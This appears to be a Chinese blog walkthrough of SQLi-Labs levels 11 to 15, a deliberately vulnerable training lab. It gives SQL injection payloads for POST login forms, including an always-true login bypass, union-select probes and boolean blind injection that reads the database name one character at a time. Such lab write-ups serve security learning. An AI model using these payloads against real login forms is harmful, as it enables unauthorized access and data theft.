《SQLi-Labs》03. Less 11~15
@
sqli。开启新坑。
索引
- Less-11:POST 回显注入,字符型【'】。
- Less-12:POST 回显注入,字符型【")】。
- Less-13:POST 回显注入,字符型【')】。
- Less-14:POST 回显注入,字符型【"】。
- Less-15:POST 布尔盲注,字符型【'】。
Less-11
题解
第十一关页面发生了变化,是账户登录页面。那么注入点在输入框。
当输入 username 为 1 时出现错误图片。
输入 1' ,出现报错信息。根据报错信息可以推断该 sql 语句为:username='参数' and password='参数'

知道 sql 语句后可以构造一个恒成立的 sql 语句,看看查询出什么。
Username 输入(一个万能登录语句):
1' or 1=1 #

这里需要换成 “ # ” 来注释, 不能再用 “ --+ ”。
再看看联合查询:
1' union select 1, 2 #

都做到这里了,接下来的思路就和 Less-1 一样了。不多说了。
原理
前十关使用的是 get 请求,参数都体现在 url 上,而十一关是 post 请求,参数在表单里。可以直接在输入框进行注入。
根据经验可以猜测 sql 语句。大概的形式应该是 “ username=参数 and password=参数 ”。
Less-12
这题,原理和 Less-11 一样。
题解
输入 1" 时,根据报错信息可以判断出参数是双引号带括号的。

判断是否存在 sql 注入。
1") or 1=1 #
看看回显。
1") union select 1, 2 #
剩下的该怎么做,理解了 Less-11 与 Less-1 就知道了。
Less-13
原理和 Less-11 一样。
题解
根据报错信息可以判断出参数是单引号带括号的。

剩下的不多说了。
Less-14
原理和 Less-11 一样。
题解
为双引号字符串。

这几题都和 Less-11 一样。
Less-15
题解
输入 1' 或者 1 时,错误回显。

输入 1' or 1=1 # 时,正确回显。

判断一下当前数据库名称的长度。
1' or length((select database()))>=8 #

得到数据库长度为 8。
然后通过一个一个字符串截取并通过 ASCII 码比较来得出数据库名。
1' or ascii(substr((select database()), 1, 1))=115 #
1' or ascii(substr((select database()), 2, 1))=101 #
...
1' or ascii(substr((select database()), 8, 1))=121 #
剩下的思路与过程,理解 Less-5 就会了。
原理
布尔盲注。详见 Less-5。
半烟半雨溪桥畔,渔翁醉着无人唤。
——《菩萨蛮》(宋)黄庭坚
《SQLi-Labs》03. Less 11~15的更多相关文章
- Facebook不相信所谓的员工能力等级。《长效商业英雄》(《哈佛商业评论》2016年11期),4星。
老牌管理杂志.本期我给4星.以下是书中一些信息的摘抄: 1:爱因斯坦曾说:“任何傻瓜都能让事情更复杂,只有天才能让事情变简单.”单就这一点来看,乔布斯无疑是天才中的天才.#137 2:通过让苹果聚焦于 ...
- 《C#本质论》读书笔记(15)使用查询表达式的LINQ
15.1 查询表达式的概念 简单的查询表达式 private static void ShowContextualKeywords1() { IEnumerable<string> sel ...
- 《图解Http》 10,11章:构建Web的技术, Web的攻击技术
10.2动态HTML 通过调用客户端脚本语言js,实现对web页面的动态改造.利用DOM文档对象模型,指定想发生变化的元素. 10.22 更容易控制的DOM 使用DOM可以将HTML内的元素当作对象操 ...
- 《Effective Java》读书笔记 - 11.序列化
Chapter 11 Serialization Item 74: Implement Serializable judiciously 让一个类的实例可以被序列化不仅仅是在类的声明中加上" ...
- Oracle入门《Oracle介绍》第一章1-1
1.Oracle 简介 a.对象关系型的数据库管理系统 (ORDBMS) b.在管理信息系统.企业数据处理.因特网及电子商务等领域使用非常广泛 c.在数据安全性与数据完整性控制方面性能优越 d.跨操作 ...
- 一起学JAVA之《spring boot》03 - 开始spring boot基本配置及项目结构(转)
<div class="markdown_views"> <h3 id="一导航"><a name="t0"& ...
- 《图解设计模式》读书笔记1-1 Iterator模式
目录 迭代器模式的类图 类图的解释 迭代器模式的代码 解释 原因 思想 迭代器模式的类图 类图的解释 名称 说明 Aggregate 集合接口,有提供迭代器的方法 Iterator 迭代器接口,提供迭 ...
- 《C++ Primer》笔记 第11章 关联容器
关联容器类型 解释 按关键字有序保存元素 -- map 关联数组:保存关键字-值对 set 关键字即值,即只保存关键字的容器 multimap 关键字可重复出现的map multiset 关键字可重复 ...
- 转《WF编程》笔记目录
<WF编程>笔记目录 2008-03-18 09:33 by Windie Chai, 26803 阅读, 49 评论, 收藏, 编辑 WF笔记开始 <WF编程>系列之0 - ...
- 黑洞有毛 or 黑洞无毛:4星|《环球科学》2019年03月号
<环球科学>2019年03月号 高水平的科普杂志.本期我感兴趣的话题有: 1:65岁以上老年人是转发假新闻的主力: 2:人的面孔特征可以通过50个维度来定义: 3:华裔科学家发现人脑颞叶中 ...
随机推荐
- KO之间互相调用
需求 假设有两个KO,命名为moduleA.KO,moduleB.KO,现在要实现在moduleB.KO中调用moduleA.KO中的函数. 实现 ModuleA实现 源码: #include < ...
- Vue 新建项目+基本语法
新建项目: 导入依赖: <script src="https://cdn.jsdelivr.net/npm/vue@2.5.21/dist/vue.min.js"> ...
- 商业智能 (BI) 对企业中每个员工的 5 大好处
本文由葡萄城技术团队于博客园原创并首发.葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 众所周知,商业智能 (BI) 是探索企业数据价值的强大工具,能够帮助企业做出明智的决策.提高绩效 ...
- JavaScript判断两个数组相等的四类方法
在JavaScript中,数组本质上是一种特殊的对象,它的类型值会返回 object. 如果我们需要比较两个数组是否相等,不能像比较基本类型(String.Number.Boolean等)一样,使用 ...
- git推送时被拒绝,发现class文件被人上传到仓库的解决办法
写好的代码commit之后,想要推送到远端,结果发现有同事提交了class文件 这时候我们需要执行以下指令 git stash git pull git stash pop 原理:先把commit的东 ...
- Spring容器获取Bean的9种方式
1 前言 随着SpringBoot的普及,Spring的使用也越来越广,在某些场景下,我们无法通过注解或配置的形式直接获取到某个Bean.比如,在某一些工具类.设计模式实现中需要使用到Spring容器 ...
- MODBUS-TCP转Ethernet IP 网关连接空压机 配置案例
本案例是工业现场应用捷米特JM-EIP-TCP的Ethernet/IP转Modbus-TCP网关连接欧姆龙PLC与空压机的配置案例.使用设备:欧姆龙PLC,捷米特JM-EIP-TCP网关, ETH ...
- requests的基础使用
爬虫介绍 # 爬虫:又称网络蜘蛛,spider,一堆程序,从互联网中抓取数据---->数据清洗---->入库 # 爬虫需要掌握的知识 -抓取数据:发送网络请求(http),获得响应(htt ...
- Win10激活步骤、密钥key
统安装完毕后,首先以Win+R打开CMD命令行窗口,按下Win+X,选择命令提示符(管理员). Win10企业版 用户举例请依次输入: slmgr /ipk NPPR9-FWDCX-D2C8J-H87 ...
- Flutter系列文章-Flutter基础
Flutter是Google推出的一种新的移动应用开发框架,允许开发者使用一套代码库同时开发Android和iOS应用.它的设计理念.框架结构.以及对Widget的使用,都让开发者能更有效率地创建高质 ...